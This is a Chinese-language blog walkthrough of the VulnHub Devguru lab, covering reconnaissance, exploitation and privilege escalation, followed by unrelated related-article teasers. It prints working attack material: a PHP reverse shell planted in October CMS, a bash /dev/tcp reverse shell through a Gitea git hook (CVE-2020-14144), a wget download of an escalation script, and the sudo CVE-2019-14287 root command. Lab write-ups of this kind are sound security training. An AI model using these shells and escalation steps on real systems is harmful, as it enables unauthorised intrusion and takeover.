vulnhub之devguru靶场提权过程(vulnhub打靶日记)

一、环境搭建

VM版本:17.5.1 build-23298084

攻击机:Kali2024(下载地址:https://www.kali.org/)

靶机:vulnhub靶场Devguru(下载地址:https://www.vulnhub.com/entry/devguru-1,620/)

网络环境:两台主机都设置NAT模式

踩坑1:使用vmware workstation打开Devguru,可能存在兼容性问题兼容性,我是选择重试继续安装也能正常玩耍,也可以更改VM虚拟机硬件为16.x。

解决环境配置问题也是安全必修课之一,细心解决并多总结即可!环境准备完毕,就可以娱乐的玩靶场了。

二、信息收集

1、收集IP、端口、目录信息

(1)确定靶机、攻击机IP,Kali攻击机使用ifconfig查看的IP为:192.168.232.128

(2)使用kali的nmap进行网段扫描、全端口扫描:nmap -p 1-65535 192.168.232.0/24

发现靶机的IP为:192.168.232.157         开放端口22、80、8585

(3)实战中优先访问80、8585web页面端口。22是ssh端口可以尝试爆破,不过成功概率极低。

http://192.168.232.157是网站首页,未发现任何可利用信息。

http://192.168.232.157:8585是gitea的首页,gitea版本为1.12.5存在历史漏洞。

(4)扫描http://192.168.232.157站点目录,发现利用点:

/.git/文件泄露     mysql登录地址 /adminer.php

扫描http://192.168.232.157:8585 站点目录,未发现什么有价值的利用点,只有一个登录处。

2、信息整合、漏洞利用

(1)两个登录框的账号密码都未知,威胁建模后,发现/.git/泄露漏洞可以利用,从这里入手。使用git利用工具GitHack-master爬取站点的源码。

(2)成功获得源码文件,开始审计源码,寻找有价值的信息,这里一眼就看到了config配置文件。从配置文件中获取了一个mysql用户。

拿下mysql后台低权限【1】

(3)去站点80端口的/adminer.php后台尝试登录,非常好,成功进入mysql后台。

(4)进入mysql数据库攻击优先顺序:

方法1:权限足够,直接写入一句话拿下网站权限

方法2:翻找数据表获取其他站点的账号密码,再进行后续的提权

(5)这里使用方法2,优先查看backend_user数据表的信息,发现一个账号密码,看样子就知道不容易解密。

(6)目前解密失败就尝试换一种思路,自己创建一个用户,并且权限设置为管理员。

(7)模仿游戏,尽量能设置一样,这样权限也会一样,再把添加的gjc用户加入管理员组中。

拿下october后台权限【2】

(8)从文件名规律猜测存在站点backend,访问站点:http://192.168.232.157/backend,使用创建的账号gjc 密码123456尝试登录,登录成功。

(9)kali工具或者网上搜索october-cms存在已知漏洞,后台可以文件上传、创建网页反弹shell,有兴趣了解参考大神文章:https://blog.csdn.net/m0_66299232/article/details/129119565

october获取网站权限【3】

(10)创建一个网页,写入反弹shell的代码:

function onStart(){
//nc监听7777端口
    $s=fsockopen("攻击机IP",7777);
    $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

(11)Kali攻击机nc监听7777端口:nc -lvvp 7777

(12)保持后查看网页,成功反弹shell。

(13)whoami查看权限,只是web权限太低了,靶场最终需要拿下root权限,尝试提权。

(14)翻一下目录,发现/var/backups下面有个备份文件app.ini.bak ,使用cat查看一下,获取到一个gitea和密码UfFPTF8C8jjxVF2m的mysql账号,刚好http://192.168.232.157:8585是gitea,猜测后面肯定有关联,正所谓无巧不成书!

拿下mysql后台高权限【4】

(15)去http://192.168.232.157/adminer.php登录看看,成功进入!

(16)查看user表信息,看到一个frank用户,使用了pbkdf2加密,此处有两种办法:

方法1:查看网站源码,分析加密方式,再根据加密写出解密脚本得到密码。(实战推荐这种)

方法2:修改密码,编辑数据表,修改加密方式为Bcrypt,密码改为123456(靶场推荐这种)

(17)Bcrypt加密网站:https://www.jisuan.mobi/nX7.html。修改两处即可!

拿下gieat站点后台权限【5】

(18)使用账号gieat密码123456成功登录http://192.168.232.157:8585 站点后台。

gieat获取普通用户权限【6】

(19)这里也是难点,gieat站点后台有个远程命令执行漏洞,文章地址:

Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks · Podalirius访问http://192.168.232.157:8585/frank/devguru-website/settings/hooks/git/pre-receive写入反弹命令:

bash -c "exec bash -i >& /dev/tcp/192.168.232.128/5566 0>&1"        

(20)保存后,Kali创建监听5566端口,按照原理编辑README.md文件。

(21)在文件中随机敲几个空格提交修改,既可成功反弹shell。

​​​​​​​

(22)查看权限,是frank用户,普通权限,无法查看root目录下面的文件,只能进行权限提升。

三、权限提升

1、Linux常见提权手段总结

【1】内核溢出漏洞提权,例如:cve-2016-5195、cve_2021_4034等,也就是常说的脏牛系。

【2】SUID、SUDO、SUDO历史CVE漏洞提权

【3】Cron计划任务提权、path环境变量提权、NFS协议提权

【4】数据库类型提权、Capability能力

【5】其他.. ....LD_Preload加载\LXD\docker等等

以上是本人学过的linux提权方式,遗漏的欢迎大家评论区补充。

2、上传提权综合类脚本,PEASS-ng.sh工具几乎包含了上面全部手段探测,算是提权神器。windows中也能用。

将脚本放到Kali的root根目录下面,python开启一个服务终端:python -m http.server 8080

然后靶机进入/tmp目录远程下载文件:wget http://192.168.232.128:8080/PEASS-ng.sh

3、进入靶机的/tmp目录下面,可以看到文件被成功访问下载。

4、赋予文件执行权限:chmod +x PEASS-ng.sh 

执行文件:./PEASS-ng.sh

工具爬取出了suid等可利用信息,suid、sudo等提权参考文章:https://gtfobins.github.io/

5、sudo -l 查看可利用命令,发现/usr/bin/sqlite3

6、使用命令:sudo /usr/bin/sqlite3 /dev/null '.shell /bin/sh'  发现提权失败,权限不足。

7、因为这里有一个考点,就是sudo版本1.8.21存在CVE-2019-14287漏洞。(CVE-2019-14287学习文章:CVE-2019-14287:sudo权限绕过漏洞分析与复现_运行

拿下站点root权限【7】

8、将命令修改整理后:sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'

9、至此,靶场完结!!!

四、关卡总结

考点:

1、拿下站点、敏感文件后,需要细心的审计搜索有价值的信息,特别是账号密码。

2、常见网站october、gieat的历史漏洞,利用已知漏洞反弹shell,拿下网站。

3、熟悉数据库后台创建用户,添加用户组,编辑用户的操作。

4、了解linux提权常用操作,内核漏洞>suid/sudo>环境变量/计划任务等等。

难点:

1、常见网站october、gieat的历史漏洞,这些站点的漏洞能否成功利用提权,对于小白来说是块硬骨头。

2、获取mysql的frank用户时,此处用的是修改加密方式、修改密码。实战中此操作风险太高。需要根据前面获得的源码分析加解密方式,才是最安全合理的。但是代码能力要求很高

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/511830.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

探索网红系统功能菜单架构的设计与优化

随着社交媒体和数字化内容的普及,网红经济正在成为新兴的产业。在网红经济体系中,网红系统的功能菜单架构对于平台的用户体验和运营效率至关重要。本文将深入探讨网红系统功能菜单架构的设计与优化,为网红经济的发展提供新的思路和方法。 --…

【Web】记录Polar靶场<困难>难度题一遍过

目录 上传 PHP是世界上最好的语言 非常好绕的命令执行 这又是一个上传 网站被黑 flask_pin veryphp 毒鸡汤 upload tutu Unserialize_Escape 自由的文件上传系统​​​​​​​ ezjava 苦海 你想逃也逃不掉 safe_include CB链 phar PHP_Deserializatio…

Stable Diffusion WebUI 图片信息(PNG Info)

本文收录于《AI绘画从入门到精通》专栏,专栏总目录:点这里,订阅后可阅读专栏内所有文章。 大家好,我是水滴~~ 本文主要讲解 Stable Diffusion WebUI 的图片信息功能,主要包括:获取生成参数、将图片发送到其…

Spark实战:词频统计

文章目录 一、Spark实战:词频统计(一)Scala版1、分步完成词频统计2、一步搞定词频统计 (二)Python版1、分步完成词频统计2、一步搞定词频统计 二、实战总结 一、Spark实战:词频统计 (一&#x…

【黑马头条】-day05延迟队列文章发布审核-Redis-zSet实现延迟队列-Feign远程调用

文章目录 昨日回顾今日内容1 延迟任务1.1 概述1.2 技术对比1.2.1 DelayQueue1.2.2 RabbitMQ1.2.3 Redis实现1.2.4 总结 2 redis实现延迟任务2.0 实现思路2.1 思考2.2 初步配置实现2.2.1 导入heima-leadnews-schedule模块2.2.2 在Nacos注册配置管理leadnews-schedule2.2.3 导入表…

STM32应用开发——使用PWM+DMA驱动WS2812

STM32应用开发——使用PWMDMA驱动WS2812 目录 STM32应用开发——使用PWMDMA驱动WS2812前言1 硬件介绍1.1 WS2812介绍1.1.1 芯片简介1.1.2 引脚描述1.1.3 工作原理1.1.4 时序1.1.5 传输协议 1.2 电路设计 2 软件编程2.1 软件原理2.2 测试代码2.2.1 底层驱动2.2.2 灯效应用 2.3 运…

css实现更改checkbox的样式;更改checkbox选中后的背景色;更改checkbox选中后的icon

<input class"check-input" type"checkbox"> .check-input {width: 16px;height: 16px;} /* 设置默认的checkbox样式 */input.check-input[type"checkbox"] {-webkit-appearance: none; /* 移除默认样式 */border: 1px solid #999;outl…

go连接数据库(原生)

根据官网文档 Go Wiki: SQL Database Drivers - The Go Programming Language 可以看到go可以连接的关系型数据库 ​ 常用的关系型数据库基本上都支持&#xff0c;下面以mysql为例 下载mysql驱动 打开上面的mysql链接 GitHub - go-sql-driver/mysql: Go MySQL Driver i…

【已解决】Error: error:0308010C:digital envelope routines::unsupported

前言 场景&#x1f3ac; 使用 Ant Design &#xff0c; 执行 npm run dev 出现异常。 文章目录 前言场景&#x1f3ac; 异常信息解决方案方案一(推荐)MAC | Linux 电脑成功⬇️ Windows 电脑 方案2&#xff1a; 不懂留言 JavaPub 异常信息 我直接异常信息&#xff0c;你可以…

Python快速入门系列-8(Python数据分析与可视化)

第八章:Python数据分析与可视化 8.1 数据处理与清洗8.1.1 数据加载与查看8.1.2 数据清洗与处理8.1.3 数据转换与整理8.2 数据可视化工具介绍8.2.1 Matplotlib8.2.2 Seaborn8.2.3 Plotly8.3 数据挖掘与机器学习简介8.3.1 Scikit-learn8.3.2 TensorFlow总结在本章中,我们将探讨…

【嵌入式智能产品开发实战】(十五)—— 政安晨:通过ARM-Linux掌握基本技能【GNU C标准与编译器】

目录 GNU C 什么是C语言标准 C语言标准的内容 C语言标准的发展过程 1.K&R C 2.ANSI C 3.C99标准 4.C11标准 编译器对C语言标准的支持 编译器对C语言标准的扩展 政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏: 嵌入式智能产品…

QA测试开发工程师面试题满分问答6: 如何判断接口功能正常?从QA的角度设计测试用例

判断接口功能是否正常的方法之一是设计并执行相关的测试用例。下面是从测试QA的角度设计接口测试用例的一些建议&#xff0c;包括功能、边界、异常、链路、上下游和并发等方面&#xff1a; 通过综合考虑这些测试维度&#xff0c;并设计相应的测试用例&#xff0c;可以更全面地评…

【机器学习】“强化机器学习模型:Bagging与Boosting详解“

1. 引言 在当今数据驱动的世界里&#xff0c;机器学习技术已成为解决复杂问题和提升决策制定效率的关键工具。随着数据的增长和计算能力的提升&#xff0c;传统的单一模型方法已逐渐无法满足高精度和泛化能力的双重要求。集成学习&#xff0c;作为一种结合多个学习算法以获得比…

大数据实验二-HDFS编程实践

一&#xff0e;实验内容 HDFS编程实践&#xff1a; 1&#xff09;使用HDFS文件操作的常用Shell命令&#xff1b; 2&#xff09;利用Hadoop提供的Java API进行基本的文件操作。 二&#xff0e;实验目的 1、理解HDFS在Hadoop体系结构中的角色。 2、熟练使用HDFS操作常用的Sh…

【测试篇】接口测试

接口测试&#xff0c;可以用可视化工具 postman。 如何做接口测试&#xff1f;&#xff1f; 我们可以先在浏览器中随机进入一个网页&#xff0c;打开开发者工具&#xff08;F12&#xff09;。 随便找一个接口Copy–>Copy as cURL(bash) 打开postman 复制地址 进行发送。 …

CF1717 D. Madoka and The Corruption Scheme [思维题?]

传送门:CF [前题提要]:近期在集中刷1900的题,原本感觉这类题的思维难度对自己来说似乎没什么大问题,拿到手之后就开始乱贪心,然后就Wa4了,狠狠地被这道题给教育了,故记录一下 看了题解之后感觉这种做法之前在某道题中碰到过类似的,但是想不起来了… 我个人认为这道题的关键点…

时间管理系统的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)大学生

本项目包含可运行源码数据库LW&#xff0c;文末可获取本项目的所有资料。 推荐阅读300套最新项目持续更新中..... 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含ja…

打印日志(JAVA)

1、通过导入包的形式 package com.example.demo;import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; RequestMapping("/log&q…

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《考虑灵活性供需平衡的新型电力系统长短期储能联合规划》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

垄断与商品化背景下的网络安全三大整合策略

我国的网络安全产业已经发展了20余年&#xff0c;大大小小的企业几乎覆盖了网络安全的所有领域。随着安全需求的逐渐递增&#xff0c;安全产品也朝着平台化、规模化发展&#xff0c;这就倒逼着安全厂商需要整合越来越多的安全能力&#xff0c;并与其产品相融合。这个过程&#…